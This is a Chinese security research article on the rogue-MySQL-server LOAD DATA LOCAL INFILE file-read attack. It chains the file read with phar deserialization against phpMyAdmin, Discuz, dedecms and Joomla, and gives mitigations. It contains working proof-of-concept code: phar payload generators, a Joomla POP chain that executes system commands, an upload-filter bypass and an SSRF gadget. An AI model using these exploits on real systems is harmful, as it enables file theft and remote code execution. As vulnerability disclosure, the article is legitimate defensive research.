作者:LoRexxar@知道创宇404实验室 & Dawu@知道创宇404实验室
英文版本:https://paper.seebug.org/1113/
这应该是一个很早以前就爆出来的漏洞,而我见到的时候是在TCTF2018 final线下赛的比赛中,是被 Dragon Sector 和 Cykor 用来非预期h4x0r's club这题的一个技巧。
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
在后来的研究中,和@Dawu的讨论中顿时觉得这应该是一个很有趣的trick,在逐渐追溯这个漏洞的过去的过程中,我渐渐发现这个问题作为mysql的一份feature存在了很多年,从13年就有人分享这个问题。
在围绕这个漏洞的挖掘过程中,我们不断地发现新的利用方式,所以将其中大部分的发现都总结并准备了议题在CSS上分享,下面让我们来一步步分析。
load data infile是一个很特别的语法,熟悉注入或者经常打CTF的朋友可能会对这个语法比较熟悉,在CTF中,我们经常能遇到没办法load_file读取文件的情况,这时候唯一有可能读到文件的就是load data infile,一般我们常用的语句是这样的:
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
mysql server会读取服务端的/etc/passwd然后将数据按照'\n'
分割插入表中,但现在这个语句同样要求你有FILE权限,以及非local加载的语句也受到secure_file_priv
的限制
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
如果我们修改一下语句,加入一个关键字local。
mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; Query OK, 11 rows affected, 11 warnings (0.01 sec) Records: 11 Deleted: 0 Skipped: 0 Warnings: 11
加了local之后,这个语句就成了,读取客户端的文件发送到服务端,上面那个语句执行结果如下
很显然,这个语句是不安全的,在mysql的文档里也充分说明了这一点
https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件。
mysql认为客户端不应该连接到不可信的服务端。
我们今天的这个问题,就是围绕这个基础展开的。
在思考明白了前面的问题之后,核心问题就成了,我们怎么构造一个恶意的mysql服务端。
在搞清楚这个问题之前,我们需要研究一下mysql正常执行链接和查询的数据包结构。
1、greeting包,服务端返回了banner,其中包含mysql的版本
2、客户端登录请求
3、然后是初始化查询,这里因为是phpmyadmin所以初始化查询比较多
4、load file local
由于我的环境在windows下,所以这里读取为C:/Windows/win.ini
,语句如下
load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';
首先是客户端发送查询
然后服务端返回了需要的路径
然后客户端直接把内容发送到了服务端
看起来流程非常清楚,而且客户端读取文件的路径并不是从客户端指定的,而是发送到服务端,服务端制定的。
原本的查询流程为
客户端:我要把win.ini插入test表中 服务端:我要你的win.ini内容 客户端:win.ini的内容如下....
假设服务端由我们控制,把一个正常的流程篡改成如下
客户端:我要test表中的数据 服务端:我要你的win.ini内容 客户端:win.ini的内容如下???
上面的第三句究竟会不会执行呢?
让我们回到mysql的文档中,文档中有这么一句话:
服务端可以在任何查询语句后回复文件传输请求,也就是说我们的想法是成立的
在深入研究漏洞的过程中,不难发现这个漏洞是否成立在于Mysql client端的配置问题,而经过一番研究,我发现在mysql登录验证的过程中,会发送客户端的配置。
在greeting包之后,客户端就会链接并试图登录,同时数据包中就有关于是否允许使用load data local的配置,可以从这里直白的看出来客户端是否存在这个问题(这里返回的客户端配置不一定是准确的,后面会提到这个问题)。
在想明白原理之后,构建恶意服务端就变得不那么难了,流程很简单 1.回复mysql client一个greeting包 2.等待client端发送一个查询包 3.回复一个file transfer包
这里主要是构造包格式的问题,可以跟着原文以及各种文档完成上述的几次查询.
值得注意的是,原作者给出的poc并没有适配所有的情况,部分mysql客户端会在登陆成功之后发送ping包,如果没有回复就会断开连接。也有部分mysql client端对greeting包有较强的校验,建议直接抓包按照真实包内容来构造。
原作者给出的poc
https://github.com/Gifts/Rogue-MySql-Server
这里用了一台腾讯云做服务端,客户端使用phpmyadmin连接
我们成功读取了文件。
在这个漏洞到底有什么影响的时候,我们首先必须知道到底有什么样的客户端受到这个漏洞的威胁。
在深入挖掘这个漏洞的过程中,第一时间想到的利用方式就是mysql探针,但可惜的是,在测试了市面上的大部分探针后发现大部分的探针连接之后只接受了greeting包就断开连接了,没有任何查询,尽职尽责。
国内
国际云服务商
之前的一篇文章中提到过,在Excel中一般有这样一个功能,从数据库中同步数据到表格内,这样一来就可以通过上述方式读取文件。
受到这个思路的启发,我们想到可以找online的excel的这个功能,这样就可以实现任意文件读取了。
- Advanced CFO Solutions MySQL Query failed - SeekWell failed - Skyvia Query Gallery failed - database Borwser failed - Kloudio pwned
抛开我们前面提的一些很特殊的场景下,我们也要讨论一些这个漏洞在通用场景下的利用攻击链。
既然是围绕任意文件读取来讨论,那么最能直接想到的一定是有关配置文件的泄露所导致的漏洞了。
在Discuz x3.4的配置中存在这样两个文件
config/config_ucenter.php config/config_global.php
在dz的后台,有一个ucenter的设置功能,这个功能中提供了ucenter的数据库服务器配置功能,通过配置数据库链接恶意服务器,可以实现任意文件读取获取配置信息。
配置ucenter的访问地址。
原地址: http://localhost:8086/upload/uc_server 修改为: http://localhost:8086/upload/uc_server\');phpinfo();//
当我们获得了authkey之后,我们可以通过admin的uid以及盐来计算admin的cookie。然后用admin的cookie以及UC_KEY
来访问即可生效
2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。
在该议题中提到,在PHP中存在一个叫做Stream API,通过注册拓展可以注册相应的伪协议,而phar这个拓展就注册了phar://
这个stream wrapper。
在我们知道创宇404实验室安全研究员seaii曾经的研究(https://paper.seebug.org/680/)中表示,所有的文件函数都支持stream wrapper。
深入到函数中,我们可以发现,可以支持steam wrapper的原因是调用了
stream = php_stream_open_wrapper_ex(filename, "rb" ....);
从这里,我们再回到mysql的load file local语句中,在mysqli中,mysql的读文件是通过php的函数实现的
https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52 if (PG(open_basedir)) { if (php_check_open_basedir_ex(filename, 0) == -1) { strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file"); info->error_no = CR_UNKNOWN_ERROR; DBG_RETURN(1); } } info->filename = filename; info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);
也同样调用了php_stream_open_wrapper_ex
函数,也就是说,我们同样可以通过读取phar文件来触发反序列化。
首先需要一个生成一个phar
pphar.php <?php class A { public $s = ''; public function __wakeup () { echo "pwned!!"; } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub $o = new A(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
使用该文件生成一个phar.phar
然后我们模拟一次查询
test.php <?php class A { public $s = ''; public function __wakeup () { echo "pwned!!"; } } $m = mysqli_init(); mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true); $s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667); $p = mysqli_query($m, 'select 1;'); // file_get_contents('phar://./phar.phar');
图中我们只做了select 1查询,但我们伪造的evil mysql server中驱使mysql client去做load file local
查询,读取了本地的
成功触发反序列化
当一个反序列化漏洞出现的时候,我们就需要从源代码中去寻找合适的pop链,建立在pop链的利用基础上,我们可以进一步的扩大反序列化漏洞的危害。
php序列化中常见的魔术方法有以下 - 当对象被创建的时候调用:construct - 当对象被销毁的时候调用:destruct - 当对象被当作一个字符串使用时候调用:toString - 序列化对象之前就调用此方法(其返回需要是一个数组):sleep - 反序列化恢复对象之前就调用此方法:wakeup - 当调用对象中不存在的方法会自动调用此方法:call
配合与之相应的pop链,我们就可以把反序列化转化为RCE。
dedecms 后台,模块管理,安装UCenter模块。开始配置
首先需要找一个确定的UCenter服务端,可以通过找一个dz的站来做服务端。
然后就会触发任意文件读取,当然,如果读取文件为phar,则会触发反序列化。
我们需要先生成相应的phar
<?php class Control { var $tpl; // $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa')); public $dsql; function __construct(){ $this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa')); } function __destruct() { unset($this->tpl); $this->dsql->Close(TRUE); } } @unlink("dedecms.phar"); $phar = new Phar("dedecms.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头 $o = new Control(); $phar->setMetadata($o); //将自定义meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
然后我们可以直接通过前台上传头像来传文件,或者直接后台也有文件上传接口,然后将rogue mysql server来读取这个文件
phar://./dedecms.phar/test.txt
监听5555可以收到
ssrf进一步可以攻击redis等拓展攻击面,就不多说了。
这个漏洞在需要joomla超级管理员权限,并且<=3.9.2。
首先生成相应的phar文件
<?php //header("Content-Type: text/plain"); class JSimplepieFactory { } class JDatabaseDriverMysql { } class SimplePie_Registry { } class SimplePie { var $sanitize; var $cache; var $cache_name_function; var $javascript; var $feed_url; function __construct() { $this->feed_url = "a:||whoami"; $this->javascript = 9999; $this->cache_name_function = "system"; $this->sanitize = new JDatabaseDriverMysql(); $this->cache = true; $this->registry = new SimplePie_Registry(); } } class JDatabaseDriverMysqli { protected $a; protected $disconnectHandlers; protected $connection; function __construct() { $this->a = new JSimplepieFactory(); $x = new SimplePie(); $this->connection = mysqli_connect("localhost", 'root', ''); $this->disconnectHandlers = [ [$x, "init"], ]; } } $a = new JDatabaseDriverMysqli(); echo base64_encode(serialize($a)); @unlink("joomla.phar"); $phar = new Phar("joomla.phar"); $phar->startBuffering(); $phar->setStub("GIF89a ;".str_repeat("a",131050).";__HALT_COMPILER(); ?>"); //设置stub,增加gif文件头 $phar->setMetadata($a); //将自定义meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();
生成相应的phar文件,修改为png后缀。
上传该图片文件
然后再系统配置->服务端配置中修改数据库连接方式
服务端设置读取
phar://./Joomla_3.9.2/images/joomla.png/test.txt
成功getshell
除了常规的mysql任意文件读取,读phar文件,反序列化到RCE这个流程以外。
整个漏洞利用过程中需要一些特殊的绕过点,首先就是如何在joomla高版本上传包含phar反序列化内容。
在joomla 3.8.12 release版本中,joomla在文件上传过程中加入了关于phar stub的过滤,用传统的上传方式必然是不能绕过的。
/libraries/src/Filter/InputFilter.php line 504 function isSafeFile
这个配置是默认开启的,当这个配置开启时,会检查上传文件内容中的__HALT_COMPILER()
,这里我们跟入看这里的检查逻辑。
/libraries/src/Filter/InputFilter.php line 630
这里我们看到由于joomla对于大文件,是每次只处理128kb的数据的,这里我们通过填充数据,将__HALT_COMPILER()
分开到两段之中,通过这种方式可以成功了绕过这里的判断,同时去掉payload头的<?php
即可
$phar = new Phar("joomla.phar"); $phar->startBuffering(); $phar->setStub("GIF89a ;".str_repeat("a",131050).";__HALT_COMPILER(); ?>");
成功上传之后,我们可以通过mysql任意文件读取来触发phar文件的文件操作了。
在高版本的joomla中,也正是这一部分发生了问题。
在joomla 3.9.3 release版本中,joomla引入了typo3的phar-stream-wrapper来处理phar协议
而在这个模块中,2018年7月12日,typo3更新了typo3-core-sa-2018-002漏洞描述
https://typo3.org/security/advisory/typo3-core-sa-2018-002/
在这次更新后,typo3的phar-stream-wrapper产生了一部分要求。
.和..
phar
当然还有一个蜜汁bug,不知道是不是只有我遇到的
https://github.com/TYPO3/phar-stream-wrapper/blob/master/src/PharStreamWrapper.php#L259
在函数stream_open
跟入到这里时,莫名的引入了fopen
的第四个参数,并且该参数没有返回直接设置为null,导致fopen
的函数参数错误无法继续,甚至在我的本地环境中无法正常的解析phar文件....
最后就是反序列化pop链的问题。
joomla上一次被爆出反序列化漏洞是2015年年底,当时joomla还是3.4.7版本,当时主要的分析文还是@phithon写的文章。
https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html
很可惜的是,当初的pop链已经不能直接拿来用了,其中许多代码结构都发生了变化,我们这里需要修改其中pop链中的部分代码。首先我们来跟进一下pop链。
全局搜索__destruct
不难发现存在这样一段代码
/libraries/joomla/database/driver.php line 669 public function __destruct() { $this->disconnect(); }
跟进desconnect函数,可以在这个类的子类中找到这个函数。
/libraries/joomla/database/driver/mysqli.php line 210 public function disconnect() { // Close the connection. if ($this->connection instanceof mysqli && $this->connection->stat() !== false) { foreach ($this->disconnectHandlers as $h) { call_user_func_array($h, array( &$this)); } mysqli_close($this->connection); } $this->connection = null; }
这里主要有2个问题
- 验证了$this->connection
为了能够绕过这个判断,我们需要直接设置一个mysqli链接,需要注意的是,在序列化之前,这个链接必须连接成功,后面的数据才会是正常的,而序列化本身不会把服务器地址/用户名/密码带进去。
call_user_func_array
不可控参数这一点在原文中也被提到了,由于不可控参数,所以这里我们不能简单的直接做利用,而是把这里当作一个任意函数执行。我们需要寻找一个敏感的函数。
这里我们选择了原文提到的SimplePie类的init函数
,在这个函数中,存在一个可控的函数。
而要求就是,我们需要让feed_url
又满足协议头,又可以当函数参数。在测试中,我们发现,只要在feed_url
变量头为x:
就可以将x
识别为协议。
$this->feed_url = "a:||whoami"; $this->registry = new SimplePie_Registry();
完整的poc生成脚本如下
<?php //header("Content-Type: text/plain"); class JSimplepieFactory { } class JDatabaseDriverMysql { } class SimplePie_Registry { } class SimplePie { var $sanitize; var $cache; var $cache_name_function; var $javascript; var $feed_url; function __construct() { $this->feed_url = "a:||whoami"; $this->javascript = 9999; $this->cache_name_function = "system"; $this->sanitize = new JDatabaseDriverMysql(); $this->cache = true; $this->registry = new SimplePie_Registry(); } } class JDatabaseDriverMysqli { protected $a; protected $disconnectHandlers; protected $connection; function __construct() { $this->a = new JSimplepieFactory(); $x = new SimplePie(); $this->connection = mysqli_connect("localhost", 'root', ''); $this->disconnectHandlers = [ [$x, "init"], ]; } } $a = new JDatabaseDriverMysqli(); echo base64_encode(serialize($a)); @unlink("joomla.phar"); $phar = new Phar("joomla.phar"); $phar->startBuffering(); $phar->setStub("GIF89a ;".str_repeat("a",131050).";__HALT_COMPILER(); ?>"); //设置stub,增加gif文件头 $phar->setMetadata($a); //将自定义meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();
CMS名 | 影响版本 | 是否存在mysql任意文件读取 | 是否有可控的MySQL服务器设置 | 是否有可控的反序列化 | 是否可上传phar | 补丁 |
---|---|---|---|---|---|---|
phpmyadmin | < 4.8.5 | 是 | 是 | 是 | 是 | 补丁 |
Dz | 未修复 | 是 | 是 | 否 | None | None |
drupal | None | 否(使用PDO) | 否(安装) | 是 | 是 | None |
dedecms | None | 是 | 是(ucenter) | 是(ssrf) | 是 | None |
joomla | <= 3.9.2 | 是 | 是 | 是(RCE) | 是(补丁可绕过) | 通过添加typo3修复 |
ecshop | None | 是 | 是 | 否 | 是 | None |
禅道 | None | 否(PDO) | 否 | None | None | None |
phpcms | None | 是 | 是 | 是(ssrf) | 是 | None |
帝国cms | None | 是 | 是 | 否 | None | None |
phpwind | None | 否(PDO) | 是 | None | None | None |
mediawiki | None | 是 | 否(后台没有修改mysql配置的方法) | 是 | 是 | None |
Z-Blog | None | 是 | 否(后台没有修改mysql配置的方法) | 是 | 是 | None |
对于大多数mysql的客户端来说,load file local是一个无用的语句,他的使用场景大多是用于传输数据或者上传数据等。对于客户端来说,可以直接关闭这个功能,并不会影响到正常的使用。
具体的关闭方式见文档 - https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
对于不同服务端来说,这个配置都有不同的关法,对于JDBC来说,这个配置叫做allowLoadLocalInfile
在php的mysqli和mysql两种链接方式中,底层代码直接决定了这个配置。
这个配置是PHP_INI_SYSTEM
,在php的文档中,这个配置意味着Entry can be set in php.ini or httpd.conf
。
所以只有在php.ini中修改mysqli.allow_local_infile = Off
就可以修复了。
在php7.3.4的更新中,mysqli中这个配置也被默认修改为关闭
可惜在不再更新的旧版本mysql5.6中,无论是mysql还是mysqli默认都为开启状态。
现在的代码中也可以通过mysqli_option
,在链接前配置这个选项。
http://php.net/manual/zh/mysqli.options.php
比较有趣的是,通过这种方式修复,虽然禁用了allow_local_infile
,但是如果使用wireshark抓包却发现allow_local_infile
仍是启动的(但是无效)。
在旧版本的phpmyadmin中,先执行了mysqli_real_connect
,然后设置mysql_option
,这样一来allow_local_infile
实际上被禁用了,但是在发起链接请求时中allow_local_infile
还没有被禁用。
实际上是因为mysqli_real_connect
在执行的时候,会初始化allow_local_infile
。在php代码底层mysqli_real_connect
实际是执行了mysqli_common_connect
。而在mysqli_common_connect
的代码中,设置了一次allow_local_infile
。
如果在mysqli_real_connect
之前设置mysql_option
,其allow_local_infile
的配置会被覆盖重写,其修改就会无效。
phpmyadmin在1月22日也正是通过交换两个函数的相对位置来修复了该漏洞。 https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f
这是一个针对mysql feature的攻击模式,思路非常有趣,就目前而言在mysql层面没法修复,只有在客户端关闭了这个配置才能避免印象。虽然作为攻击面并不是很广泛,但可能针对一些特殊场景的时候,可以特别有效的将一个正常的功能转化为任意文件读取,在拓展攻击面上非常的有效。
详细的攻击场景这里就不做假设了,危害还是比较大的。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1112/